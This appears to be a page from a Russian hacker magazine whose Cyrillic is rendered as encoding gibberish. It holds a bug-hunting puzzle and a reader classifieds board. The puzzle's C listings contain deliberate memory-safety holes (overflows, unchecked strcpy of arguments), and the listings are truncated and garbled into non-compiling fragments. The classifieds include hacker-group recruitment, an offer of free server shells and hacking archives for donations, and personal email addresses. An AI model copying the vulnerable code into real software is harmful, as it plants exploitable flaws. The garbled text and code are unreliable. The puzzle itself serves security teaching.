îøèáîê, ñîäåðæàùèõñÿ â íèõ (Format String,<br />

Heap Overflow, Integer Overflow, Buffer<br />

Overflow). È ýòî åùå íå âñå. Íåîáõîäèìî òàêæå<br />

âíåñòè èçìåíåíèÿ â êîä, êîòîðûå áû èçáàâëÿëè<br />

ïðîãðàììû îò ýòèõ áàãîâ, ïðè÷åì íè÷åãî<br />

óäàëÿòü íåëüçÿ, ìîæíî òîëüêî äîáàâëÿòü. ×åì<br />

ìåíüøå áóäåò äîáàâîê, òåì ëó÷øå.<br />

Ëèñòèíã #1<br />

#include <br />

#include <br />

int main(int argc, char **argv) {<br />

int rub, sum;<br />

rub = atoi(argv[1]);<br />

sum = 1000000000;<br />

printf(“Äîáàâëåíèå äåíåã â áþäæåò\n\n”);<br />

if (rub1)<br />

strcpy(one, argv[1]);<br />

free (one);<br />

free (two);<br />

return 0;<br />

}<br />

Ëèñòèíã #4<br />

#include <br />

int main(int argc, char **argv) {<br />

int i;<br />

if (argc>1) {<br />

for (i=1; i 111


Þíèòû<br />

Áîðäà<br />

Îáúÿâëåíèÿ ðåêëàìíîãî õàðàêòåðà<br />

íå ïóáëèêóþòñÿ!<br />

1. ìû íå áóäåì ðåêëàìèðîâàòü òâîþ ñòðàíè÷êó, ñåðâåð è ïðî÷åå<br />

2. âñå ïèñüìà ñ ìàòîì è ïðî÷åé øíÿãîé óäàëÿþòñÿ ñðàçó<br />

3. ìû ïîñòàðàåìñÿ ðàçìåùàòü ñîîáùåíèÿ â áëèæàéøèõ íîìåðàõ,<br />

íî íè÷åãî íå îáåùàåì :)<br />

Ìåññàäæ ìîæíî çàêèíóòü íà<br />

board@real.xakep.ru<br />

Ñäåëàþ ôîòîìîíòàæ ëþáîé ñëîæíîñòè, à òàê æå<br />

ëîãîòèï, áàíåð, buttons è òàê äàëåå íà çàêàç.<br />

Ñäåëàþ àíèìàöèþ âî Flash'å òàê æå ëþáîé<br />

ñëîæíîñòè. compuman@lsi.ru<br />

Å-Æ<br />

À-Á<br />

Ïðîãðàììèñò íà Ñ++ (ýòî íå åäèíñòâåííîå)<br />

èùåò ðàáîòó. Ïîäðîáíîñòè (CV, info è ò.ä.) -<br />

Email: progmaster@tut.by. èëè ICQ: 393698<br />

Âñå êòî õî÷åò/ìîæåò ïèñàòü îáçîðû èãð ïîä LINUX<br />

ìûëüòå admin@tuxgames.ru<br />

Å-Æ<br />

Ëþäè êòî èìååò âûäåëåííêó â èíåò (ò.å. ïîñòîÿííûé<br />

äîñòóï) è íå áóäåò ïðîòèâ óñòàíîâêè<br />

NNTP ñåðâåðà íà ñâîåì êîìïå, îòêëèêíèòåñü!<br />

Îáåùàþ ìíîãíîâåííîå çà÷èñëåíèå CGC<br />

(Computer Geek Community)! (Åñëè ïîñòóïàòü íà<br />

îáùåé îñíîâå, íóæíî ïðîéòè òåñòèðîâàíèå)<br />

KAFLAN [kaflan@mail.ru]<br />

Â-Ã<br />

Ä-Å<br />

Ñîçäàåòñÿ îíëàéí-ðïã. Íóæíû ïðîãðàììèñòû,<br />

õóäîæíèêè. Äà è âñå ïðîñòî æåëàþùèå. Ìûëüòå<br />

íà tyman@bk.ru<br />

Ñîçäàåòñÿ ãðóïïà BelorussianArmyHackers<br />

[BAH]. Çíàþùèå ëþäè, à òàêæå ïðîãðàììåðû<br />

ìûëüòå! rconx@mail.ru<br />

Ê-Ë<br />

Íàïèøó ÑÓÁÄ íà Delphi, FoxPro, ðàçðàáîòàþ<br />

ñàéò íå äîðîãî. Êîãî çàèíòåðåñîâàë - ïèøèòå.<br />

Òàêæå èùó ëþäåé, ðàáîòàþùèõ â òîì æå íàïðàâëåíèè.<br />

Þ-ß<br />

Ìîñêâè÷è!!! Ïðîäàì ñòàðûå íîìåðà Õàêåðà è<br />

åãî ñïåöâûïóñêîâ. kolich [kolich@list.ru]<br />

Òðóäîóñòðîèì õàêåðîâ.<br />

Íàø ÿùèê: STAWBERRY-1@YANDEX.RU<br />

Èùó ðàáîòó.Æåëàòåëüíî óäàë¸ííóþ èëè ñî ñâîáîäíûì<br />

ãðàôèêîì ðàáîòû.Ïîë ìóæñêîé.Ñòàæ<br />

ðàáîòû 1 ãîä. Ïèøó íà html,asp..ðèñóþ â photoshop7,Flash<br />

6 Îáëàäàþ îãðîìíûì ïîòåíöèàëîì<br />

è æåëàíèåì ðàáîòàòü. E-mail:selyanin@palana.ru<br />

Ìîãó ïðåäëîæèòü ñòàáèëüíóþ ðàáîòó ïî ñîçäàíèþ<br />

ïðåçåíòàöèîííûõ ðîëèêîâ.Îïëàòà äîñòîéíàÿ,<br />

30% ñðàçó, îñòàëüíîå ïî çàâåðøåíèè ðàáîòû.<br />

Ãëàâíîåòðåáîâàíèå ïðîôåññèîíàëèçì è<br />

÷åòêîå ñîáëþäåíèå ñðîêîâ. Åñëè èíòåðåñíî ïèøèòå.<br />

Snider2000@mail.ru<br />

Ïðèìó â äàð èëè çà ïëàòó æóðíàëû Õàêåð. Íóæäàþñü<br />

â íîìåðàõ ñ 1 ïî 25, 27,28,30,34. Ïðîæèâàþ<br />

â Åêàòåðèíáóðãå. Ìûëèòü ñþäà:<br />

Kuznetsov_Nikita@rambler.ru<br />

Ïèøó ñêðèïòû íà JavaScript ; Perl ; PHP ;<br />

ASP.NET è ASP . Íåêîòîðûå ñêðèïòû ìîãó íàïèñàòü<br />

áåñïëàòíî . Ìèõàèë . megacasino@narod.ru<br />

Èä¸ò ñîçäàíèå õàêåðñêîãî ìåãàïîðòàëà(ìíîãî<br />

ñòàòåé, ýêñïëîéòîâ, íîâîñòåé è ò.ä.) roolez.net,<br />

íî íàì íå õâàòàåò ñðåäñòâ. Ýñëè âàì íå æàëêî,<br />

ïðèøëèòå íà êîøåë¸ê WebMoney 855018863623<br />

ëþáóþ ñóììó(âñå êòî ïîìîã, ïîëó÷àò õàëÿâíûé<br />

øåëë íà ñåðâåðå ñ äîïîëíèòåëüíûìè õàêåðñêèìè<br />

àðõèâàìè!). Çàðàíåå ñïàñèáî! Ìûëüòå íà<br />

roolix@rambler.ru.<br />

È-Ê


VER 05.03 (53)

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!